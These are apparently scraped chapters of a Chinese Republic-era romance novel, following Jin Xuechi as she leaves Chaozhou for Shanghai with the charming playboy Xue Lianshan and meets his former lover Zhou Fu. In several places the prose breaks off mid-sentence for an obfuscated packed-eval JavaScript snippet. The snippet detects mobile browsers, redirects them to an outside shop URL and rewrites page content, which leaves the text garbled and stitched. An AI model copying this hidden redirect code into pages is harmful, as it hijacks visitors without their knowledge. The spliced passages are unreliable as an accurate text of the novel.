他就算是来广东出差,大多也是去深圳、广州,来粤东的时候实在少。上次去了金家,看到的几位粤东女子就是金文彬的姨太太,外加一个还处于黄毛丫头状态的金雪池。但金文彬此人的品味呢比较粗俗,只爱胸大臀大、腰细腿长的,至于脸蛋如何还是其次。薛莲山实在难以苟同,没有发现妙处。 而现在——现在,他要承认粤东是出美人的,还是最美的那一款,见之忘俗。 金雪池的骨相好,鼻子挺、双颧高,皮肉紧实地贴着骨头,没有半点松弛浮囊感。这就和哪里的女人都不同了,哪里的女人都如花似玉,就她凉而硬,像一柄簪子。此刻她没有笑,也看不出悲喜,带着一种盈盈的、古老的端凝;望着他,他静静地回以端凝。 最终还是金雪池先低下头,“抱歉,薛先生,我......” 定青敲门进来,把行李箱递给她。这么一打断,她也不知道该说什么了,就默默坐回椅子上,把那包稻香村拆了吃,再不吃东西,肚子叫的声音就要给他们听到了。枣糕甜而不腻,是很好吃的,是她原本要送给老豆的。 种种情绪冲击中,她心力交瘁,一口一口地吃着,脑子就逐渐放空,也没意识到自己又在流泪。薛莲山搬了个凳子坐她对面,等她把嘴里含着的都咽下去,才开口说:“你是从外地回来的,是不是?” “我在北平上学。” “潮州人知道吗?” “......我不清楚,他也许说过。” “那么,你也不能回北平了。” 金雪池一听这话,更茫然了,“但是我还没有毕业。” “现在不是谈能不能毕业的时候。” “抱歉,抱歉。那我试着去找工作。薛先生,前面对你说了一些话,是我太心急了,请别放在心上。我知道你人脉广,可不可以帮忙找找我父亲呢?因为警察说没见着尸体,他兴许没有死。就算是找到了,我们......我们也不要矿场了,我还可以现在立个字据,让他把银行的所有存款都给你——” “不要这么说,我难道像坏人么?”薛莲山打断她,“金先生是我的朋友,我当然会找他。你是他的女儿,我也愿意替他照顾你。我又想了想,没有大户人家的小姐会出去找活干,一个人在异地他乡,也不安全。” 金雪池等着他的下文,半天没等到,一抬头,发现他正凝望着自己。 五年过去,他的样貌一点也没发生变化,还是那么清瘦、温文、仪神隽秀。这样漂亮的男人,一生能见到几个呢?她的表情没有变化,心里已经酸楚得一塌糊涂。因为知道这漂亮男人下一句要接混账话了。 “你可以跟我回上海。” “我换个去处吧,上海的房租太贵了。” “不要紧,我有地方给你住。” “住你家里么?” 金雪池把后一句话咽了下去:你把我当什么人? 薛莲山没说是不是,只是略惊讶的表情,好像疑惑你怎么又这样不礼貌。他同样也咽下去了一句话:树倒猢狲散,你现在什么人都不是。 “选择权在你,请好好考虑吧。”他温声说,随即起身往木榻上一躺,将床留给她。金雪池不领他的情,进浴室洗澡、换了套干净衣服,趴在桌上休息。因为瘦,肘部凸起的骨头抵在桌面上,压得很疼;她把脸埋在臂弯里,睁着眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938715|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看上我了。她想,身体一阵阵战栗着,不知是因为快乐还是因为痛苦。 这一夜两人都没睡好。天不亮定青就来了一趟,和薛莲山耳语几句,又出去了。薛莲山转向她,“中午一点钟有最早的一班车,到汕头厦岭。我回去也是顺路的,你怎么打算?” “我就在厦岭下。” “好。”他当即掏出钱包,拿了一大沓纸币出来。金雪池没有接,“薛先生愿意帮我们家的忙,帮我买票,我就已经很感谢了。我身上的钱够用。” 薛莲山从善如流地把钱收回去,两人再没有交流。中午吃了定青带回来的包子,开车直往西门外的车站去。汽车是租来的,定青去还,他领着她找到对应的车厢和座位——他们的座位还是分开的。金雪池坐下去,很单薄的一片人。 他用手撑着前后两排的椅背,投下很大一片阴影。几秒后那阴影仍未散去,金雪池抬起头,他脸上带着一种落寞而无奈的笑,叹了一口气,也就走了;一手插在口袋里,一手握着皮夹,连背影都是好姿态。 她忍不住一直看,走到厢门口,他忽然回了一下头。金雪池大惊,表面上什么都没流露出,只略一颔首,从从容容地坐下了。 下午三点,火车到了汕头厦岭。金雪池想要不要找他道个别?但她甚至都不知道他在哪一节车厢,算了。她提着行李下了车,习惯性地要叫人力车,又意识到自己并不知道目的地。现在她要租房子,还是一路走、一路看比较好。 提在手里的箱子越来越沉,左手换右手,右手换左手。半分钟不到,她又在太阳下折腾出一身汗。心下烦躁,神经也迟钝,金雪池完全没有意识到有人离自己越来越近;等觉察的时候,那人只在她身后五米处。 她顿住脚步,那人也不走了。 她转过身,那个戴墨晶眼镜的人就悠悠踱进了巷口。她开始往回走,过了巷口,那人又从巷子里钻出来,跟着她。 金雪池撒腿就跑。跟踪者也跑起来,几乎几步就追上了她,一把拉住她的褂子下摆;她举起皮箱砸向对方,角部包裹的铜片砸到对方额上,凿了个口子,鲜血横流。 “沤饵!”那人骂道。 她完全没有气息说话,只顾狂奔。火车们仍然大开着,不少人站在门口抽烟,也有人拖着大箱子慢慢挪动。她猛地冲回车厢,在满座惊愕的目光中,大喊道:“薛先生!” 一张张陌生的脸全转向她,像吊诡的葵花。她心里愈发怕,顺着车身,一节节往后跑,一路跑一路大喊:“薛先生——薛先生——” 定青迎着她跑过来,“在这里!” 她远远望到了主仆二人,立刻冲过去,快要到时又堪堪刹住脚步,停在他座位边上。薛莲山一把握住她的手腕,“怎么了?” “有人追我!” 当然有人追你。 昨晚薛莲山把她拦住,即使开车兜了许多路,也始终注意到到有一辆车远远地跟着。回了宾馆,他就在后悔,不该多生事端。现在仇家是忌惮着自己,不会贸然动手,但保不齐什么时候会忍不了呢?干脆给她买张票、让她自己走,死在外面,他看不到,也避免了良心上的谴责。 但是金雪池是个美人,事情就完全不同了。冒多大的风险都值得。 “跟我回上海。”他说。 “好,好,”金雪池完全六神无主,“那我坐回去了......” “坐我旁边吧,那人不会跟过来。” “这里没有人吗?” 他一开始就把这个位置的票买下来了。 7.上海 到了广州,往后就没有铁路可走了。最快的路径是从广州乘船至香港,再转乘英国邮轮经上海。 在香港的宾馆,他开了两间房,自己和定青一间,金雪池一间。晚饭还是一起吃的,他心情显然很好,问道:“从前来过香港没有?” “没有。” “金小姐真是养在闺阁里的。” “但是爸爸经常会来。我想,如果他要避难,可能就逃到香港来了。” “好,我知道了。” 金雪池怀疑他根本就是漫不经心,心情郁郁的,借口说晕船,提前回房了。因为行李丢了,也没有可以换洗的衣物,直接就往床上一躺。把手伸进褂子里的夹层,她摸到了一大卷纸币和一颗骰子。 当初离家的时候,金太太建议她带一包家乡的土走。她觉得带一包泥巴很傻,没有采纳,只带上了这枚骰子。这是她的五岁生日礼物,金文彬亲手用牛骨做的,陪了她十多年。 她是绝不敢问金文彬还在不在人世这个问题的。慢慢地把那颗骰子攥在手心里,她只问:跟他回上海是正确的选择吗?是双数,不是单数。 把骰子对着天花板抛出去,一把握住,又放回夹层里。她没有看点数,来都来了。 第二天清晨上了回上海的船,到舱房认了个座,薛莲山就说:“下面闷热,到甲板上吹吹风吧。” 她谢绝了他,他只得自己走了。活动室里乌烟瘴气,又是抽烟的、又是打麻将的,因为船从香港出发,外国人也格外多,本就污浊的空气中充斥着他们的体味。 金雪池穿着文明新装站在门口,简直是格格不入。所谓文明新装,就是上穿浅色褂子,下面一条黑长裙——几十年前的“文明”了,放在现在也过了时。何况她留了一帘薄薄的刘海,头发依然蓄得很长,先编成辫子、再盘起来,也不能和现在流行的短发、烫发比。她知道自己长得美。但是从头到脚,没有哪里不显示她来自一个守旧的家庭。 北大男生那么多,到处自由恋爱,也没谁恋上她。薛莲山看上她什么了? 又站了一会儿,实在闷得透不过气,金雪池还是上了甲板。薛莲山原是用胳膊撑在栏杆上的,远远看见了她,转了个身,背靠栏杆,并不凑过去。海风很大,灌进她的袖子里,使那小白褂像海上的泡沫,随着浪水的起伏,忽上忽下,在她身上浮动。 在他看来,中国的女人穿衣有两种美。一种是有曲线的身材穿紧旗袍,鼓蓬蓬的,是“牡丹真国色”;另一种就是薄而小的身材穿宽旗袍,渺如幽魂,是“罗衣何飘飘”。金雪池能在此类中拔得头筹。 这样的美人,穿个黑长裙简直是浪费。谁教她这么穿的?金文彬这个土鳖,给姨太太就穿桃红,给女儿就穿黑白,实在是没品到了家。 傍晚时分,轮船到了十六铺码头。 旅客都收拾好了行李,在舷梯口排队等着。过道里密不透风、人头攒动,金雪池什么也看不见,听人嚷嚷“舷梯开了”,就跟着队伍往前走。后头有人一直推她,身边的薛莲山伸出胳膊虚虚拦在她背后。 待她走到舷梯口时,从下往上一望,惊呆了。 早听闻黄浦江水浑浊,在晚上完全看不出来;又因着江滩上竖了很多广告灯牌,映在江面,是黑上的绚彩。江面上,舢板、挂星条旗的远洋货轮、还有喷着黑烟的招商局小火轮,搅出漩涡,五彩缤纷的灯光就转着圈往里旋,好似天上的烟花。钢铁巨兽似的起重机地吊起货箱,一起一落,引发船身的阵阵震颤,又将烟花震碎。 声色犬马,极乐世界。 她提起裙子往下走,走到地面上,又看到了上海的另一面。脚下的水门汀地面泛一层油光,缝隙里塞了不少鱼鳞、菜叶、烟头,被皮鞋踩来踩去,都瘪而发黑。各式各样的语言在码头上蹦跳,一个人力车夫冲到她面前,唧唧啾啾说了句上海话——是不是上海话她也不知道,反正没听懂。 “不用,不用。”薛莲山朝人摆手,同时大步向前,“金小姐,随我来。” 金雪池哪敢不跟着他,她感觉在这个地方一个不注意就会走丢。薛莲山带她上了一辆车,两人都进后排;等待片刻,定青拎着行李到了,坐副驾驶。 “喜欢这地方吗?”他一边说着,一边把自己这侧的车窗摇下来,方便她看风景。金雪池就往他那边看,他忽然伸手过来,吓了她一大跳,紧紧向后贴着靠背;薛莲山似笑非笑地看她一眼,只是帮她也把窗户摇下来。 水汽和轮船的煤烟味畅通无阻地吹进来。金雪池深吸一口气,“还可以。” 车子沿着外滩跑了一阵,拐入南京路。玻璃橱窗里站着不断变换姿势的真人模特,有轨电车铛铛穿梭,各式各样的男人、女人,穿的好时髦。 她简直像刘姥姥初入大观园,来了上海,才知道北平都是土气的。在一股一股热浪中,她感到了一点被睥睨的寒意。 薛公馆坐落于愚园路。和她想象中那种精致、阴冷的大家族宅院不一样,这是一座中西合璧的花园洋房,中的部分只为点缀,西的部分才是主体。也没有众多仆从,应门的应门、迎客的迎客,除了铁门口的卫兵以外再没见到一个人,还是薛莲山自己把大门拉开的。 金雪池径直往里走,他站在后面道:“地板打了蜡,换双拖鞋吧。” “哦!”她猛地后退几步,发现地板已经被踩出几个脚印,赶忙道歉,“对不住,我没有来过这种西洋公馆,不知道要换鞋。” “没事。”他指了指门口摆着的柚木长凳示意她坐下,在鞋柜里找了一番,取出一副崭新的绣花缎面拖鞋递给她。金雪池一眼瞥去,里面有好多新拖鞋,绣的花还各有不同。 到了这个时候,总算出现了一个妈子。她也不下来迎接主人,就站在二楼的栏杆边,乐呵呵道:“薛先生,欢迎回家!” “宋妈,晚上好。”他笑道,“这位是金小姐,一位朋友的女儿,你给她收拾一间房出来吧。” 宋妈似乎有话要说,然而扫了金雪池一眼,不便直接说,“好。你要洗澡么?我放热水?” “不用,我再出去一趟。” 金雪池没料到他还要出去,自己陡然变成一个人,只能硬着头皮往里走、坐在沙发上。今天又只能穿脏衣服,明天早上一定要出去买衣物。正盘算着,有人沿楼梯下来了,她还以为是宋妈,抬头一看,却是一位陌生女子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943757|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那女子有一对秀气而窄长的内双眼皮,鼻头、嘴唇微带肉感;穿素雅的白旗袍,上面印着点点梅痕。因为气质的缘故,明显不是歌女、舞女之流,眼睛大睁着,一直是一种恍惚怔忡的神情。 金雪池讪讪地站起来,毕竟不知道薛莲山有什么家人,这一位兴许是他妹妹?侄女? 对方也有点举棋不定,但因为她半天不说话,还是率先开口:“你好,我叫周馥。请问你是?” “......我父亲和薛先生是朋友。” “哦!”周馥瞧她年纪确实不大,正想寒暄几句,又意识到她没有告诉自己姓名。要不要问呢?正在这尴尬关头,宋妈来了,揶揄地一人看了一眼。这一眼实在很厉害,看得金雪池什么都明白了。 来的路上她还抱侥幸心理,家中有难,跟着薛莲山也是无奈之举。这下好了,看清楚了吧?进了他的家门,就默认是他的情人。金雪池就算嫁不进这么阔的人家,也绝不给谁当情人。不要脸的东西!等危机解除后,她必须先还掉他的人情和钱,再一身轻地离开这里。这中途倘若他逼迫她就范,她死了也不会从。 揣着满肚子愤恨,她跟着宋妈进了客房。宋妈还是那副暧昧的表情,正想说什么,她堵了一句“谢谢”,把门关上了。 半个小时后又有人来敲门。是用指关节敲的,轻轻三下,她就知道是薛莲山,仍坐在床上一动不动,说:“薛先生,我准备睡了。” “穿脏衣服睡吗?” 她走到门口,“你是去买衣服了?这个点还有店铺开门?” “有家百货公司能卖均码的衣服。比较朴素,你将就着穿穿。” 金雪池只好给他开门,接过他手上一摞衣服,“真谢谢你,大晚上跑一趟。” 薛莲山等着她提周馥的事,阴阳怪气几句也好,但是她接了衣服就缩回去了,礼礼貌貌关上门,又响起一声反锁的咔哒声。门都怼在鼻尖上了,他退后半步,兴致盎然。 他在上海,是有名的风流。风流和下流有区别,意味着他并不只对床上那档子事感兴趣,他是真真切切地喜爱女人,愿意追求她们,送花、约会、逛街,情浓时分,水到渠成地睡几觉。只是每段恋爱都谈不长,女人一谈恋爱就容易动真格,渐渐开始期盼他只爱自己一个,在家里一哭二闹三上吊,他就丧失兴趣了,宁愿给一笔钱打发她们走。 目前为止,还没有一个前女友说过他坏话。有什么可说的?他又付出时间、又付出金钱,会讨女人欢心,自身相貌条件也好。无可挑剔。她们失魂落魄地继续生活,不明白怎么跟别的男人分手后无事发生,他是这么无可挑剔的一个前男友,她们却偏偏在他这里受了重伤。 这周馥是他的前女友,两个月前分了手,他一直在给她寄生活费,直到她找到工作。然而她工作也没找到,租的房子还漏了水,今晚又跑到他这里来了。话也不跟金雪池说清楚,气了人家一大跳。 不过,没关系。 对于金雪池,他一点也不急于求成。倘若金雪池很快沦陷在他的攻势下,那么他的兴趣来得也快、去得也快;就要这副千金小姐做派,清高、戒心重,才是一场征服的好游戏。 8.薛公馆 早上起来吃早餐,周馥也在。金雪池就是对几女围一男的格局感到非常不适,她不喜欢这样,要么她走,要么周馥走。可是她没法让周馥走,她也离不开这根救命稻草。 吃完饭,周馥坐在沙发上看报纸,似乎并不急于出去租房或找工作。薛莲山是要工作的。他走到前厅,一手撑着玄关,一手用玳瑁鞋拔穿皮鞋。金雪池追过来,明显感到周馥藏在报纸后的眼睛在追踪自己,硬着头皮道:“薛先生,我想和你说几句话。” “请吧。” “不知道郝老板的人能不能抓到?如果问题一直不能解决,我要一直住在这里,就太打扰你们了。” “没有打扰这一说,我可以明白地告诉你,我和周小姐已经没关系了。她在我这里过渡一段时间,等一个看好了的房源。”他说这话时好像别有意味,然而不等她体会明白,又很快说:“几天后我会让你见一个人,他会保证你在上海的安全。这段时间委屈一下,将来随你住哪里。” 他一句多的话也没有,大概是急着上班,转身走了。独留金雪池疑窦丛生。 她忽然有了一种猜测:薛莲山从头到尾都并没有看上自己的意思。买车票的时候,他也说随她选;现在让她住在家里也只是一种保护,事成之后,随她住哪里。她不可自拔地回忆起他说过的每一句话、做出的每一个动作,竟找不出一处冒犯。 他就是这样的人,当初要捡个石英逗十四岁的黄毛丫头玩,早晨连宋妈都要问候一句。他有钱有貌,在你惨遭变故的时候伸出援手,你还要说他喜欢你。到底是谁不要脸? 金雪池平时并不是容易自我怀疑的人,但此刻简直臊得慌。 而在周馥的视角里,她只是握着一杯牛奶,面无表情地靠在沙发上。莲山说她叫金雪池。周馥听到的瞬间,都要为这个好名字拍案叫绝。什么是好名字?不是吉利的,不是读音或字形美的,是名副其实。在昏暗的灯下,她的肤色几乎就是金的,像涂了金的菩萨面;眼睛是两丸黑水银,冷冷冽冽,寒潭沉雪。 她没法不在意她,哪怕自己是过了气的人了。她那么美,对莲山又那么疏离。她知道莲山的性子就是贱,别人越不理,他越上赶着撩。 “金小姐。” 金雪池回过神,对她一点头,“你好。” “你是哪里人?” “潮州人。” 周馥自己也觉得这问题问得莫名其妙,莲山不就是刚从潮州回来么!也许是问题太蠢,对方简言扼要,显得很冷淡。她不知道要不要继续尬聊,金雪池却主动开口:“你呢?” “哦,我就是上海的。” 金雪池主不太会聊天,搜肠刮肚道:“家里人很多吗,你需要搬出去住?” 她并没有别的意思,在周馥听来,却像是逐客令,眼睛马上又睁大了。但因为自己确实不占理,半解释、半分辩道:“我爸是个中学老师,我哥哥暂时还没分家出去,在邮局当职员。下面还有一个弟弟、一个妹妹,挤在两层楼里。何况,家里的经济不好,我在外面自负盈亏。你呢?” “我家的经济还可以。” 周馥觉得这人说话很奇怪,“是吗?” 金雪池点点头,“不过现在不行了。我想出去找事做,你有什么推荐的吗?” “你读了多少书?” “大学肄业。” “那好办。我本来还要推荐你去当店员,既然考过大学,选择就更多啦。可以去记账,可以当家教......哎,当家教好,我可以直接问爸爸有没有学生需要家教。你能教哪些科目?” “除了英文都可以。” 家教这个工作太合心意了,她差点以为自己要去洗盘子、当佣人,过去除了私塾先生,没听说谁把老师请到家里教课,真是时代在变化。“麻烦你帮我留个心,到时候我拿了工资,给你包个红包。” “咦,没有人用钱谢人的啊!”周馥笑道,“金小姐,你应该说‘到时候我拿了工资,请你吃饭’。” 金雪池其实是怕她不想跟自己单独出去吃饭。她就不喜欢和别人一起吃饭。嘴里含着东西,还要绞尽脑汁地找话说,人一陷入沉默,尴尬就在叫嚣。除非是和很熟的人,譬如老豆。再除非是和很会让人感到舒服的人,譬如薛莲山。 白天不知道干什么,她就在薛公馆里探险。比起通过聊天了解一个人,她更喜欢通过搜集证据了解一个人,像推理一道题目。 客厅的杂志全是关于汽车的,再加上在潮州时,他亲自开车、还开得相当好,说明他很喜欢车。书房里堆的不是四书五经,大多关于化工、地质、管理学、经济学,和他的工作相关;其他领域的涉猎也广泛,社会艺术历史科学无所不有,在与人闲聊时,可以援引一二。 没有小说、画本之类的闲书,很务实,不浪费时间。 金文彬喜欢在书房墙上挂奋斗语录,譬如“大展宏图”“天道酬勤”等等,西式装修就不太适合挂书法了。茶具也没有,神龛也没有,祖宗排位也没有。虽然没有进他的卧室,但外面晾的衣服全是洋装,想来他也不会穿长袍马褂。由此观之,他还一个追求西化的人。百分之九十九的西化。习俗全是西方的好,只有食物和女人是东方的好。 他喝酒吗?她猜他喜欢洋酒胜过白酒,下贮藏室一看,果不其然。 他抽烟吗?他绝不碰大烟,纸烟大概也碰得少,因为抽起来会有一股焦糊味,而他对香气有追求......水烟、烟斗是旧时老爷的风格,他不屑于。如果他抽,她觉得他会抽雪茄。雪茄的焦油和尼古丁含量非常小,几乎没有烟的味道,倒是可以定制成香草、蜂蜜等口味。可惜不好进他的卧室求证。 他赌牌吗?金文彬曾说过,只是当个玩,有人约就去。 他逛堂子吗?不不不。逛趟子是一种低端的消费,他偏好谈新式恋爱,找的女孩子不仅干净,也都来自正经人家。该是说他对女人爱得由外及内,还是说他对女人只带欣赏、全无感情? 这是金雪池判断人——尤其是男人——最重要的四个问题。得出的结论是,他天生地有自制力,因此不必回避欲望。 当晚薛莲山回来,三人又围一桌吃饭。菜品发生了微妙的变化,金雪池不知道;周馥在这里吃了一年的饭,知道厨子从前是很少煲汤的。每回看到汤第一个端上来,她的心里就一沉。 他说:“明天我请了下午半天假,带金小姐去做几套衣服,她一套可以出门的衣服也没有。星期天她得见二少爷一面。” 其实信息都是给金雪池听的,但话是对周馥说的。周馥脸上挂着一种摇摇欲坠的笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948286|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是说带我看房子吗?” “我不能请太多假,要么,我把地址和中介的电话给你,你自己去看?” “原来买衣服比寻找安身之所还重要。” 薛莲山简直没法跟她沟通,也不方便把话说得太难听,自顾自地吃东西去了。 他们直至第二日下午都没有交流。薛莲山来接金雪池出门的时候,周馥正坐在沙发上——其实她房里又有书又有梳妆台,可以自己跟自己玩很久,但为了监视薛莲山的行踪,她就钉在沙发上了——眼睛肿的像桃子。金雪池恨不得趴在地上匍匐出门,不叫她看到。 薛莲山毫不理会,来到后院,指着并成一排的五辆小汽车问:“想坐哪一辆出门?” 金雪池其实觉得都可以,指了最面前的一辆,车头上有个长翅膀的女人的立标。 他平日里说话都是慢条斯理的,此刻突然有点神采飞扬的意思,高兴道:“金小姐眼光真好!这是劳斯莱斯新推出的Phantom系列,三个月前才从美国运过来。你知道它有什么优点吗?旁边那台宾利换档就不够流畅,必须要两脚离合,且转速匹配不上的话有概率失败;但是这辆Phantom首次增加了同步器,也就是说我推入四档的时候只需要单手——” 他果然没叫汽车夫,亲自钻进了驾驶室。金雪池莫名其妙就笑了一下,他在后视镜里看了她一眼,热切地把话讲完:“——单手盲操,一秒钟就能换好。这是里程碑式的进步。怎么了?” “没什么。”她说,“它真厉害。” 他说:“堪堪够格当金小姐的车辇。” “成记裁缝店”的门面并不大,甚至显得有些旧,然而店里人很多。几位太太在布架边摸料子,学徒给一个小男孩量体,一对情侣在镜子前推来推去。薛莲山说了句“借过”,柜台后的一个小个子男人顿时跳了出来,“薛先生!你好吗?” “我好得很呀。”他介绍说,“金小姐,成掌柜。这回来是想给她做几身衣服。” “哎哟,金小姐,你好你好。真是有气质!来,我先给你量量。” 成掌柜是善于招待顾客的,薛莲山也不去打岔,拣个凳子坐下了。量好尺寸,成掌柜拿了几件成衣下来,“金小姐,你试试看。布料、花纹都能改,现在就是看看款式。哎,对,试衣间在那里,没有人。” 她进去了。他转向薛莲山,满面笑容地做了个口型:新的? 金雪池在试衣间里,脑子微微发热。她的衣服全是姨娘们亲手做的,也挑朴素、简单的款式做,从来没有定制过旗袍。刚把旗袍换上,就预感到了效果有多好;出门把镜子一照,更是惊喜。 旗袍的剪裁里处处是巧思,整体偏窄,下摆却在臀线下微微扩张,造成一种“衣笼人”的飘飘感;腰线提到肋骨下沿,拉长了的腿的比例;收省不多,虽然她的腰细,可以收得紧紧的,却特意在衣服和身体间留出空间,任风穿流而过。 难怪说“人靠衣装”,她这会儿真觉得自己美极了。 薛莲山在她身后站起来。店内余人的身影恰好都退出了视野之外,而他穿西装、她穿旗袍,同框映在窄长的镜子上,竟像一对般配的新人。金雪池吓了一跳,连忙往右挪了一步。 成掌柜于是凑过来问:“金小姐觉得有哪里要改的?” 9.珍贵 “我觉得开衩有点高,其他地方都很好。” “可以,开衩给你改低!要什么料子?什么花?什么扣子?” “你决定吧。” 成掌柜看她肤色并不白,就拿了些冷色调的布料往她身上比划,有成衣的直接给成衣试。她试来试去,觉得靛青也好看、墨绿也好看、檀紫也好看,格纹也好看、印花也好看、刺绣也好看,恨不得匹匹都要。她真该之前多来几次裁缝店,前几次露怯露给家长看,好过在薛莲山面前显得没见识。 那边,学徒应声给薛莲山拿了个布袋来。薛莲山倒出一颗珍珠,比在她的领子上,“你看,浑身是暗色,这里要有一颗珍珠提亮才好。” 金雪池一眼就直觉那珍珠贵得很,连连摆手,“薛先生,我选好了,就这匹青色的吧。” 他愣了一下,“只有这一匹好看吗?” “都好看,我随便选的。” “你把好看的全挑出来,可以做不同的设计呀,这一件滚一道银边,那一件下摆绣竹子......裁缝店不比百货公司,进货是随机的,你现在不把喜欢的买走,被别人买去,以后可能再碰不到了。” 那边成掌柜也帮腔说:“一口气拿五匹,我给你们打个折,把零头抹掉,只要一百一十大洋的布料费。” 金雪池听着要昏厥,做家教一节课肯定没有一大洋。“不行,薛先生,太贵了。” 他还以为都是没入她的法眼,把什么时候带她去找苏州的裁缝都想好了,闻言松了口气,“怎么跟我出来还谈钱。” “我真的不能欠你太多。至于说喜欢不喜欢,那是将来我自己有钱后才能考虑的问题,现在只要一两件得体的就够......” “金小姐,金小姐。”他连着叫了她两遍,像让小孩子安静下来一样,语气近乎温柔,“如果我下午出去跟人打牌,可能会输好几百;用来陪你买衣服,也是几百。钱不多,横竖也要花出去,当然是和你在一起更让我开心些。为什么要拒绝让我开心呢?其二,十九岁和二十三岁穿同一件衣服,效果就是完全不同的了。你的青春不比什么都贵吗?” 金雪池微弱的抵抗宛若烛火,在风中一摇,灭了。 他替她做好决定,找掌柜结账,布料、珍珠扣、手工费算下来,价格涨到了惊人的近四百。而她有气无力地坐在长凳上,像个一半做梦、一半醒着的人,知道有什么在不可制止地滑向深渊,然而动也不动一下,觉得只是梦而已。 从店里出来已经不早了,薛莲山要带她去吃饭。她不肯,“家里不是有饭吗?” “我不回家吃,我还要回公司。” “那么麻烦你先送我回去。” 他笑道:“金小姐,我陪你一下午,你陪我吃顿饭都不愿意吗?” 金雪池沉默片刻,最终还是说:“不太合适吧,周小姐会不高兴。”其实在避重就轻,周馥和薛莲山的关系是一回事,她和薛莲山的关系又是另一回事。上次说了句“住在你家么”,让她一直臊到现在。薛莲山的态度又这样暧昧不明,他不说清楚,她再不敢单方面定义这段关系。万一他笑她自作多情呢? 可是她真觉得他喜欢自己。 “她让你为难吗?”薛莲山直接说,“我已经和她分手了,只是她没有房子住,我理应帮衬一下。你要是介意,我让她明天就走。” “不!”她连忙道,“不不不,没有,你不要这样。” 薛莲山一点头,“好,我不这样。” 然后就没有人说话了,车向一家日本餐厅驶去。在门口就要脱鞋,一位女侍者把他们引到包厢里去,疑似提前预约好的。入座后,女侍者把菜单递给他,他递给她。她表示从未吃过日本菜,点不好。 薛莲山笑道:“点餐哪有什么好不好的,你给我们点的菜,那都是好。” 金雪池不知道该怎么接话,只好低头看菜单,上面也没标“烧腊”“汤煲”“小吃”“凉菜”等等分类,是直接写菜名的,让她怀疑日本人的菜式并不怎么丰富,可能在制作工艺上大差不差。还是按照菜单的排布均衡地点了几道。 结果证明她的推断没有错,几道菜都是生冷的。要么直接一块生冷的鱼肉,要么用几片冷菜叶子裹鱼肉,要么冷饭裹鱼肉。她觉得味道一般,但也可能是没品味的表现,只是不声不响地嚼着。 “不喜欢吗?” “一般吧。” 薛莲山都摸出她的语言风格了,“都可以”就是平等的喜欢,“一般吧”就是平等的不喜欢。“那么你可以尝尝热菜。就是要先试一遍,才知道喜欢什么。” 他召来女侍者又加了几道菜,其中有一道关东背开式蒸鳗鱼的味道很好,还有一盘酱香鸡肝,配鱼子酱。酒饱饭足后,上了车,金雪池才意识过来她确实没点好,后来薛莲山把正确的菜品都又点上了。 开着窗慢慢在街上兜风,他说:“这家店并不是最高档的。租界里有高档日料店,每个包厢都有单独的操作台,师傅会在你面前一边介绍、一边现做。你想想看,一个日本老头喋喋不休,半天才慢腾腾地剐下几片鱼给你。” “你是嫌慢,还是嫌吵?” “我嫌日本老头。不然的话并没有什么不好,刚才我们就吃得很慢,也一直说话......啊,抱歉,是我一直在说话,你不会嫌吵吧?” “你并没有说多少,只是在向我做介绍。我下次就会点了。” 她是第一次主动正向评价他,薛莲山的心情十分愉悦。又听她说:“你还是应该先忙周小姐的事情。你和她分不分手,是你们之间的事情;我......我是暂住,本不该打扰你们,如果她因为我而生气的话,实在是不必要。” 他觉得这番发言十分天真可爱,答应下来,第二天果真请了假陪周馥去。 新衣服寄来了一件。因为急着摆脱仇家,她不断地催薛莲山,于是在七月中旬,二少爷大摇大摆地来了。 这位少爷大名邵子骏,虽然江湖人称一句“二少爷”,但他并非邵老爷子的亲生儿子。同理,大少爷邵子驹也不是。邵老爷子近五十岁才发迹,一直没有娶妻,遂也膝下无子,只好挑帮会里年纪小的男孩认作养子。众多养子中,数邵家两兄弟干活最得力,这些年渐渐站到幕前,替代了邵老爷子的位置。 他也瘦,但不同相貌的人就能瘦出不同效果,薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952383|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 